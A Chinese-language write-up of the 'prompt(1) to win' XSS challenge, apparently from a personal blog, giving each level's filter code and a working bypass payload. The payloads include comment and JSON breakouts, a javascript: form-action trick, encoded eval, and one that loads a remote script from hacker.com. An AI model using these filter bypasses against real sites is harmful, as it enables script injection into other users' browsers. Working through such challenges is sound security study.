前言
之前就断断续续的做过几次这个 xss 挑战,但是都半途而废了,这次终于决定利用这个假期把这个挑战做完,并且整理下来。
传送门:prompt(1) to win
关卡0:
function escape(input) {
// warm up
// script should be executed without user interaction
return '<input type="text" value="' + input + '">';
}
没有任何过滤,直接把 input 闭合就好了。
payload:
"><script>prompt(1)</script>
关卡1:
function escape(input) {
// tags stripping mechanism from ExtJS library
// Ext.util.Format.stripTags
var stripTagsRE = /<\/?[^>]+>/gi;
input = input.replace(stripTagsRE, '');
return '<article>' + input + '</article>';
}
过滤了标签,就是将<xxx> 这样的内容全部替换为空
但是 一个标签即使没有最后面的 > 也是可以被浏览器正确解析的,比如
<img src=1
<input type=text
<script>alert(1)</script
所以我们可以构造这样的payload:
<img src=1 onerror=prompt(1)
关卡2:
function escape(input) {
// v-- frowny face
input = input.replace(/[=(]/g, '');
// ok seriously, disallows equal signs and open parenthesis
return input;
}
过滤了一些符号,其中( 是我们必然不可缺少的。
那么可以用 <svg>+html 字符实体黑魔法绕过
payload:
<svg><script>prompt(1)</script>
关卡3:
function escape(input) {
// filter potential comment end delimiters
input = input.replace(/->/g, '_');
// comment the input to avoid script execution
return '<!-- ' + input + ' -->';
}
很明显需要闭合注释,但是 -> 被过滤了
那么就需要了解 HTML5 的一个特性,注释的写法除了<!–xxxx–>之外还可以<!–xxxx–!>
所以payload就是:
--!><script>prompt(1)</script>
关卡4:
function escape(input) {
// make sure the script belongs to own site
// sample script: http://prompt.ml/js/test.js
if (/^(?:https?:)?\/\/prompt\.ml\//i.test(decodeURIComponent(input))) {
var script = document.createElement('script');
script.src = input;
return script.outerHTML;
} else {
return 'Invalid resource.';
}
}
限制引入的资源同域,看了别人的 wp ,了解到 @ 黑魔法,形如 http://sougou.com@baidu.com 这样的链接会被浏览器认为是 以sougou.com 为用户名,登录到baidu.com的请求。
于是我们可以构造这样的payload,绕过正则的匹配检测,同时引入自己服务器上的脚本:
http://prompt.ml%2f@hacker.com/payload.js
关卡5:
function escape(input) {
// apply strict filter rules of level 0
// filter ">" and event handlers
input = input.replace(/>|on.+?=|focus/gi, '_');
return '<input value="' + input + '" type="text">';
}
过滤事件,但是事件和 = 之间有换行的情况下,浏览器也是可以正常解析的。所以payload:
" src=1 type=image onerror
=prompt(1)
关卡6:
function escape(input) {
// let's do a post redirection
try {
// pass in formURL#formDataJSON
// e.g. http://httpbin.org/post#{"name":"Matt"}
var segments = input.split('#');
var formURL = segments[0];
var formData = JSON.parse(segments[1]);
var form = document.createElement('form');
form.action = formURL;
form.method = 'post';
for (var i in formData) {
var input = form.appendChild(document.createElement('input'));
input.name = i;
input.setAttribute('value', formData[i]);
}
return form.outerHTML + ' \n\
<script> \n\
// forbid javascript: or vbscript: and data: stuff \n\
if (!/script:|data:/i.test(document.forms[0].action)) \n\
document.forms[0].submit(); \n\
else \n\
document.write("Action forbidden.") \n\
</script> \n\
';
} catch (e) {
return 'Invalid form data.';
}
}
这么长一串,先大概解释一下吧,大体内容就是输入 类似http://xxx.com#{“a”:“b”} 的内容,# 前面的内容会作为form 的 action 的值,而后面的 json 格式的数据的键和值分别对应 input 标签的 name 和 value。正常情况下可以通过将 action 设置成 javascript 伪协议,来触发xss,但是会被
if (!/script:|data:/i.test(document.forms[0].action))
检测到。那么如何绕过呢?
这里涉及到的一个知识点就是 JavaScript 中 形如 document.forms[0].action 的 表单DOM 操作,会先选择表单中 name 属性为 action 的输入框,如果找不到,才会选择 form 标签的 action 属性。
所以可以构造这样的payload:
javascript:prompt(1)#{"action":"233"}
关卡7:
function escape(input) {
// pass in something like dog#cat#bird#mouse...
var segments = input.split('#');
return segments.map(function(title) {
// title can only contain 12 characters
return '<p class="comment" title="' + title.slice(0, 12) + '"></p>';
}).join('\n');
}
这道题的关键是怎么突破 title 12个字符的长度限制,于是利用注释打通标签。payload如下:
"><script>/*#"*/prompt/*#"*/(1)/*#"*/</script>
关卡8:
不会。。。。。
关卡9:
也不会。。。。
关卡A:
function escape(input) {
// (╯°□°)╯︵ ┻━┻
input = encodeURIComponent(input).replace(/prompt/g, 'alert');
// ┬──┬ ノ( ゜-゜ノ) chill out bro
input = input.replace(/'/g, '');
// (╯°□°)╯︵ /(.□. \)DONT FLIP ME BRO
return '<script>' + input + '</script> ';
}
emmm 没啥好说的,payload如下:
pro'mpt(1)
关卡B:
function escape(input) {
// name should not contain special characters
var memberName = input.replace(/[[|\s+*/\\<>&^:;=~!%-]/g, '');
// data to be parsed as JSON
var dataString = '{"action":"login","message":"Welcome back, ' + memberName + '."}';
// directly "parse" data in script context
return ' \n\
<script> \n\
var data = ' + dataString + '; \n\
if (data.action === "login") \n\
document.write(data.message) \n\
</script> ';
}
这道题做的时候想到可以闭合 json ,但是闭合之后呢???(╯‵□′)╯︵┻━┻
看别人的 wp 发现这种payload:
"(prompt(1))in"
不明觉厉…
关卡C:
function escape(input) {
// in Soviet Russia...
input = encodeURIComponent(input).replace(/'/g, '');
// table flips you!
input = input.replace(/prompt/g, 'alert');
// ノ┬─┬ノ ︵ ( \o°o)\
return '<script>' + input + '</script> ';
}
关卡A 的加强版,直接输入 prompt 肯定是不行了,于是转向编码考虑,首先想到的当然是
eval(String.fromCharCode(112,114,111,109,112,116,40,49,41);
这种,但是因为 逗号 会被 urlencode,所以不能成功,那么还有其他的 eval() 方法吗?于是在别人的Write up 里找到了这种payload:
eval((1558153217).toString(36))(1)
先把prompt转换成36位,然后再eval。
其余的关卡:
现在还太菜,做不来,看别人的wp也看不懂,以后会做了再发上来吧。